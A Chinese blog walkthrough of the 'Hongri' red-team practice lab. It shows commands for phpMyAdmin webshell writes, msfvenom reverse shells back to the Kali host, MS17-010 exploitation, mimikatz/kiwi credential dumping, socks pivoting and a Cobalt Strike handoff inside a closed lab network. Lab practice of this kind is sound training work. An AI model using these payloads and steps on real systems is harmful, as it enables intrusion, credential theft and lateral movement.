靶场练习-红日靶场1

红日靶场一

参考文章:https://blog.csdn.net/qq_41821603/article/details/109948920

https://blog.csdn.net/Redredredfish/article/details/119864263

红日系列的第一个靶场,闲暇之余来打一下。

环境配置

虚拟网络适配器需要仅主机模式和NAT的两张网卡,设置成192.168.52.0/24172.16.12.0/24两网段。

kali

1
172.16.12.129

win7

1
2
172.16.12.128
192.168.52.143

win2008

1
192.168.52.138

win2k3

1
192.168.52.141

从上面可以看出,win2008和win2k3是内网靶机,跳板机就是win7。除了上述的环境配置,还需要去win7打开phpstudy。

phpstudy的位置

1
C:\phpstudy

运行即可,接下来我会从三个方面来进行漏洞的利用,分别是phpmyadmin,yxcms,MS17-010。

phpMyAdmin

首先要了解mysql是怎么写入shell的,文章介绍了几个利用方式,这里我就介绍两个,剩下的读者自行查看。

1、直接写入shell

首先先讲一下直接写入shell的,因为写入shell需要满足secure_file_priv有值,如果为空的话我们就没有写入权限。

查看secure_file_priv的语句:

1
show global variables like "%secure%";

返回的结果是空,说明无法写入shell,这个方法是不可行的。

如果有值,并且路径刚好是C:\phpstudy\WWW\,那么可以利用下面的语句写入shell:

1
select "<?php eval($_POST['x']);" into outfile "C:\\phpstudy\\WWW\\1.php";

2、慢查询日志

首先要查看慢日志查看是否开启:

1
show variables like '%slow_query_log%';  

返回结果long_query_time为10秒,因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时(也就是10秒),该语句才会被记入进慢查询日志。

这里即使没有开启,我们也可以手动开启:

1
2
set global slow_query_log=1; #开启
set global slow_query_log=0; #关闭

开启后,修改日志文件的路径以及文件名:

1
set global slow_query_log_file='C:\\phpstudy\\WWW\\1.php'

于是写入shell,并且设置延迟时间超过10秒:

1
select '<?php eval($_POST["x"])' or sleep(11);

3、漏洞排查

好了,上面介绍了两个phpmyadmin的利用方式,接下来nmap扫描172.16.12.0/24网段:

1
nmap 172.16.12.0/24

结果如下

img

发现开启了80、135和3306,也就是说还开启了mysql服务。

浏览器访问172.16.12.128,页面显示的是phpstudy的探针页面

img

下面进行路径爆破:

1
dirsearch -u http://172.16.12.128/

img

发现了phpadmin目录,访问后需要输入用户名密码,直接弱口令:

1
2
username:root
password:root

进入后,根据前面讲的phpadmin慢日志来进行注入。

4、监听会话

执行完操作后,shell已经被我们写入服务器了

img

蚁剑连接

img

还可以查看我们写入的慢日志是什么样的

img

接下来的操作就简单了,msf写一个木马上传服务器反弹会话:

1
2
3
4
5
6
7
8
9
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.129 LPORT=1111 -f exe > shell.exe
// 上传到服务器

// 开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 1111
set lhost 172.16.12.129
run

返回会话

img

MS17-010

1、漏洞扫描

第一步老规矩扫

1
nmap 172.16.12.0/24

扫的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 172.16.12.128 (172.16.12.128)
Host is up (0.00086s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
MAC Address: 00:0C:29:B8:93:41 (VMware)

有一台152的机子开着(kali是138),而且还有很多端口都开放的。发现了很敏感的端口,139、445,那么就应该想到ms17-010永恒之蓝漏洞。但是不确定有没有,所以还是利用nmap来验证一下:

1
nmap --script=vuln 172.16.12.128

结果显而易见,是存在ms17-010漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

2、漏洞利用

那么接下来就有请“美少妇”登场:

1
2
3
4
5
6
7
msfconsole
msf6> search ms17-010
// 因为前面扫过了,所以就不用scanner了
msf6> use 0
msf6> set rhost 172.16.12.128
msf6> set lhost 172.16.12.129
msf6> run

执行完后,会话就弹回来了。查看当前用户

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

这就直接是system权限,都省的我提权了,良心!

接下来就是查看当前的路由情况:

1
2
3
4
5
6
7
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 172.16.12.0/255.255.255.0
Local subnet: 192.168.52.0/255.255.255.0

有三个网段,重点在192.168.52.0这个网段,需要添加路由。因为呢,现在获取到的shell不稳定(我试过了,会下线),所以我想再上传一个木马到靶机上,通过监听反弹到kali上会比较稳,而且靶机上没有杀软。

这里讲两个方法:

1、就是利用meterpreter的kiwi模块来获取账户的密码:

1
2
meterpreter> load kiwi
meterpreter> creds_all

获取到账号密码之后就可以去登录靶机了,当然了这是争对主机在旁边的情况,如果不在旁边也可以实现。

meterpreter可以开启3389端口(远程桌面),权限高的可以开启。

1
run post/windows/manage/enable_rdp

开启之后,利用命令rdesktop连接远程桌面就可以登录了。

1
2
3
rdesktop 172.16.12.128
账号:GOD\Administrator
密码:hongrisec@2019

2、这里玩点骚操作(比较麻烦,建议第一种,第二种是我第一次做的时候自己用的),kali上生成木马——shell.php,通过meterpreter会话上传到靶机上:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.129 LPORT=5555 -f exe > shell.exe

上传到靶机的c盘上后,在kali上再起一个终端,启用监听模块:

1
2
3
4
5
6
msfconsole
msf6> search handler
msf6> use 30
msf6> set lhost 172.16.12.129
msf6> set lport 5555
msf6> run

然后回到会话的那个终端,执行shell.exe:

1
2
meterpreter> shell
C:\ shell.exe

即可监听到会话,于是原来那个会话就可以退出了,这么做是因为怕掉线,所以才上传木马的。

接下来就是利用socks模块来探测内网存活主机。

3、Socks横向移动

在小迪第70天的文章讲过sock模块的用法了,这里就不赘述了。在会话上添加路由:

1
2
meterpreter> run autoroute -p
meterpreter> run autoroute -s 192.168.52.0/24

然后利用socks模块

1
2
3
4
5
meterpreter> back
msf6> search socks_proxy
msf6> use 0
msf6> set srvport 3333
msf6> run

接着在kali起一个终端,然后利用proxychains代理探测内网:

1
proxychains nmap -sT -Pn 192.168.52.0/24 -p139,445

扫到两台主机

1
2
192.168.52.141
192.168.52.143

并且139和445端口都开着,那就好办了,这里我用nmap扫不出来,于是我用ms17-010模块去检测一下

1
2
3
4
5
auxiliary/scanner/smb/smb_ms17_010
msf6> search ms17-010
msf6> use 3
msf6> set rhost 192.168.52.141
msf6> run

结果是有的

1
2
3
4
5
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit)
[*] 192.168.52.141:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后我又去把rhost换成143的,也是有这个漏洞,但是经过多次试验,发现只有auxiliary/admin/smb/ms17_010_command这个模块可以使用,其他的无法弹回会话,报错显示的是不支持32位的目标,只支持64位的。

那就使用auxiliary/admin/smb/ms17_010_command来帮忙执行命令:

1
2
3
4
5
6
auxiliary/admin/smb/ms17_010_command
msf6> search ms17-010
msf6> use 2
msf6> set rhost 192.168.52.141
msf6> set command whoami
msf6> run

结果返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[*] 192.168.52.141:445    - Target OS: Windows Server 2003 3790
[*] 192.168.52.141:445 - Filling barrel with fish... done
[*] 192.168.52.141:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.52.141:445 - [*] Preparing dynamite...
[*] 192.168.52.141:445 - Trying stick 1 (x64)...Miss
[*] 192.168.52.141:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.52.141:445 - [+] Successfully Leaked Transaction!
[*] 192.168.52.141:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.52.141:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.52.141:445 - Reading from CONNECTION struct at: 0x8d891ac8
[*] 192.168.52.141:445 - Built a write-what-where primitive...
[+] 192.168.52.141:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.141:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.141:445 - Getting the command output...
[*] 192.168.52.141:445 - Executing cleanup...
[+] 192.168.52.141:445 - Cleanup was successful
[+] 192.168.52.141:445 - Command completed successfully!
[*] 192.168.52.141:445 - Output for "whoami":

nt authority\system

居然是system权限,看来这次靶场不用我提权了呀。利用同样的方法把rhost换为143的执行。

同样可以执行,并且也是system权限,接下来就可以利用meterpreter开启3389端口,然后获取账户密码(跟上面操作一样),就可以实现远控了。

yxcms

通过phpmyadmin的漏洞利用,蚁剑连接后,发现目录下还存在yxcms目录,于是访问http://172.16.12.128/yxcms

img

随便看了看就发现了网站把账户密码都告诉我们了

img

1
2
username:admin	
password:123456

访问http://172.16.12.128/index.php?r=admin,登录进入后台

img

找了一下发现的利用的点在前台模板->管理模板文件这里,看了网上yxcms的利用是index_index.php文件,可以利用这个文件写入一句话木马,然后就可以在index.php页面回显。

img

编辑写入shell

img

然后直接蚁剑连接,发现可以连接成功,成功getshell。

img

接下来的步骤就是上传木马,然后返回会话,这里就不赘述了(主要是懒得写了)。关于yxcms的利用网上有很多,也存在很多漏洞,像SQL注入、XSS等。

后渗透

1、基于msf

这里本来想用msf进行密码的获取,但是貌似我的环境有问题,没法获取,具体的方法如下,读者可自行尝试,后期如果有时间搞好环境就更新这篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 导入账号,密码hash值
run hashdump

Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:
1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串
eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1

// 载入mimikatz
ps
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

// kiwi
load wiki
creds_all

// 开启3389端口
run post/windows/manage/enable_rdp

2、msf 联动CS

既然无法基于msf来获取密码,这里利用CS联动获取密码。

启动CS

1
2
服务端:sudo ./teamserver 172.16.12.129 123456
客户端:sudo ./start.sh

创建监听器

img

回到msf,利用payload_inject让CS上线:

1
2
3
4
5
6
7
8
9
background
search payload_inject
use 0
set payload windows/meterpreter/reverse_tcp
set lport 7777
set lhost 172.16.12.129
set DisablePayloadHandler true
set session 1
run

CS上线,然后进行提权

img

提完权就是信息收集

横向移动

经过上面的操作,已经获取到了win7的system权限,也获取到了域内的一些信息,接下来就是域内的端口扫描

1
portscan 192.168.52.0/24